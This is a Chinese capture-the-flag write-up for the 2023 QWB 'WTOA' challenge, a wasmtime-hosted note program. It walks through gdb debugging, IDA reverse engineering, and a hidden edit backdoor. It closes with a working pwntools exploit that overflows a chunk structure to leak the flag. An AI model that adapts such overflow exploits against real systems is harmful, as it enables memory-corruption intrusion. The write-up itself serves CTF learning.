文章目录
- 参考
- WebAssembly
- Wasmtime
- 调试
- 逆向源码
- exp
参考
WebAssembly实践指南——C++和Rust通过wasmtime实现相互调用实例
 
WebAssembly
WebAssembly是一种可移植的二进制指令集格式,其本身与平台无关,类似于Java的class文件字节码。
WebAssembly本来的设计初衷是想让浏览器可以运行C语言这种编译型语言的代码。通常我们的C语言代码会使用gcc或clang等编译器直接编译链接成与平台相关的二进制可执行文件,这种与平台相关的二进制文件浏览器是无法直接运行的。如果想让浏览器运行C语言代码,就需要使用可将C语言编译成WebAssembly指令的编译器,编译好的代码是wasm格式。然后就可以使用各种wasm运行时来执行wasm代码,这就类似于JVM虚拟机执行class文件。
由于指令集和运行时环境本身与web场景并不绑定,因此随着后来的发展,WebAssembly指令集出现了可以脱离浏览器的独立运行时环境,WebAssembly的用途也变得更加广泛。
Wasmtime
相比于浏览器的运行时,wasmtime是一个独立运行时环境,它可以脱离Web环境来执行wasm代码。它本身提供了命令行工具和API两种方式来执行wasm代码。
启动时候flag作为环境变量在内存,这里是通过AOT 编译wasm 代码为ELF,所以通过 --allow-precompiled来运行
./wasmtime run --env FLAG="flag{zhiyinnitaimei}" --disable-cache --allow-precompiled ./wtoa
调试
gdb ./wasmtime 
set args  run --env FLAG="flag{zhiyinnitaimei}" --disable-cache --allow-precompiled ./wtoa
发现flag和add后输入的content很接近
pwndbg> search flag{
Searching for value: 'flag{'
[heap]          0x555556fac865 'flag{zhiyinnitaimei}@'
[heap]          0x555556fc91c0 'flag{zhiyinnitaimei}'
[anon_7ffe77bb3] 0x7ffe780b2b40 'flag{zhiyinnitaimei}'
[anon_7ffe77bb3] 0x7ffe780b2c6d 'flag{zhiyinnitaimei}'
[stack]         0x7fffffffe19b 'flag{zhiyinnitaimei}'
pwndbg> search aaaaaaaa
Searching for value: 'aaaaaaaa'
[anon_7ffe77bb3] 0x7ffe780b2cc0 'aaaaaaaa'
pwndbg> distance 0x7ffe780b2cc0-0x7ffe780b2c6d
0x53 does not belong to a mapped page in memory
pwndbg> distance 0x7ffe780b2cc0-0x7ffe780b2b40
0x180 does not belong to a mapped page in memory
pwndbg> 
wtoa的代码段是在wtoa偏移0x1000开始,所以记得函数断点0x7ffff7bfc000+IDA中的地址-0x1000
  0x7ffff7bfc000     0x7ffff7c08000 r-xp     c000   1000 /home/llk/Desktop/pwn/attachment/glibc_pwn/2023qwb_WTOA/WTOA/wtoa
逆向源码
把wasm格式文件放入IDA
IDA View->Graphs->Function Calls
找到分支比较多的可能是主函数,然后查看,并结合调试和字符串定位来逆向
 
调试发现输入Add后如下,应该只能截取两个字节,然后高字节减去A来得到对应的choice,并且flag在下面不远处
 0x7ffff7bfd337    call   0x7ffff7bfeef0              <0x7ffff7bfeef0>
 
 ► 0x7ffff7bfd33c    movsx  r8, byte ptr [rbx + r15 + 0x10]     R8, [0x7ffe780b2b20] => 0x41
   0x7ffff7bfd342    add    r8d, -0x41                          R8D => 0 (0x41 + 0xffffffffffffffbf)
x/40s 0x7ffe780b2b20
0x7ffe780b2b20:	"Ad"
0x7ffe780b2b23:	""
0x7ffe780b2b24:	""
0x7ffe780b2b25:	""
0x7ffe780b2b26:	""
0x7ffe780b2b27:	""
0x7ffe780b2b28:	""
0x7ffe780b2b29:	""
0x7ffe780b2b2a:	""
0x7ffe780b2b2b:	""
0x7ffe780b2b2c:	""
0x7ffe780b2b2d:	""
0x7ffe780b2b2e:	""
0x7ffe780b2b2f:	""
0x7ffe780b2b30:	""
0x7ffe780b2b31:	""
0x7ffe780b2b32:	""
0x7ffe780b2b33:	""
0x7ffe780b2b34:	""
0x7ffe780b2b35:	""
0x7ffe780b2b36:	""
0x7ffe780b2b37:	""
0x7ffe780b2b38:	""
0x7ffe780b2b39:	""
0x7ffe780b2b3a:	""
0x7ffe780b2b3b:	""
0x7ffe780b2b3c:	"m\034P"
0x7ffe780b2b40:	"flag{zhiyinnitaimei}"
0x7ffe780b2b55:	""
根据字符串定位时发现没有引用的,后来发现是通过偏移的,发现第 3 个参数原来是 .rodata.wasm 段内的偏移值
 print(v6, v6, 0x46FLL, 0LL);                // size
 .rodata.wasm:000000000001B46F aSize           db 'size > ',0
然后结合字符串和上下文和动态调试可以猜出所有函数的作用
大概是每次进入函数都会先模拟开辟栈空间,然后调用其中的变量
大致管理如下
 
 可以发现第0个chunk_struct的content_offset在第1个chunk_struct上面
 
结合edit存在的后门,当 len == 0x345231会写48个字节,但只能写一次,所以利用一次得到flag
  getinput(a1, a1, 0LL, v20 - 48, 31);
    len = set_to_chunk(a1, a1, v20 - 48);
    *(base + v4 + 36) = len;
    if ( len == 0x345231 )
    {
      if ( *(base + 4016) == 1 )
      {
        v14 = *(base + v4 + 44);
        *(base + v4 + 4) = *(base + v4 + 40);
        *(base + v4) = v14;
        print(a1, a1, 0x4DELL, (v20 - 96));     // content for note[%lu] with offset [%lu] >
        save(a1, a1, *(v19 + 40) + *(base + *(base + (*(base + *(v19 + 92) + 4) + 4 * *(base + v4 + 44)))), 48);
        *(base + 4016) = 0;
        goto LABEL_15;
      }
      v13 = base + v4;
    }
根据上述缓存区是在chunk_struct 2上方,结合溢出,可将content_offset起改为flag的偏移,然后show可以泄露处flag,当然长度不够,再把size改大就行
 
 发现开了随机话后偏移不变,改为flag的偏移即可
 
exp
from pwn import *
context(os="linux",arch="amd64",log_level="debug")
p = process('wasmtime run --env FLAG="flag{zhiyinnitaimei}" --disable-cache --allow-precompiled ./wtoa'.split(' '))
gdb.attach(p)
pause()
p.sendlineafter(b"Choice > ",str("A")) 
p.sendlineafter(b"size > ",str("8"))
p.sendlineafter(b"content for note[0] > ",8*str("a"))
p.sendlineafter(b"Choice > ",str("A")) 
p.sendlineafter(b"size > ",str("8"))
p.sendlineafter(b"content for note[1] > ",8*str("b"))
p.sendlineafter(b"Choice > ",str("E")) 
p.sendlineafter(b"index > ",str("0"))
p.sendlineafter(b"offset > ",str("0"))  
p.sendlineafter(b"length > ",str("3428913"))
p.sendlineafter(b"content for note[0] with offset [0] > ",b"a"*32+p64(0x501b40)+p64(0x20))
p.sendlineafter(b"Choice > ",str("S")) 
p.sendlineafter(b"index > ",str("1"))
p.sendlineafter(b"offset > ",str("0"))  
p.sendlineafter(b"length > ",str("32"))
p.recvuntil(b"content for note[1] with offset [0] > ")
flag=p.recv(timeout=2)
print(flag)
p.interactive()
















![[创业之路-141] :产品经理 - NPDP概述](https://img-blog.csdnimg.cn/img_convert/417b8b507676305ad57eed857c4dc536.png)



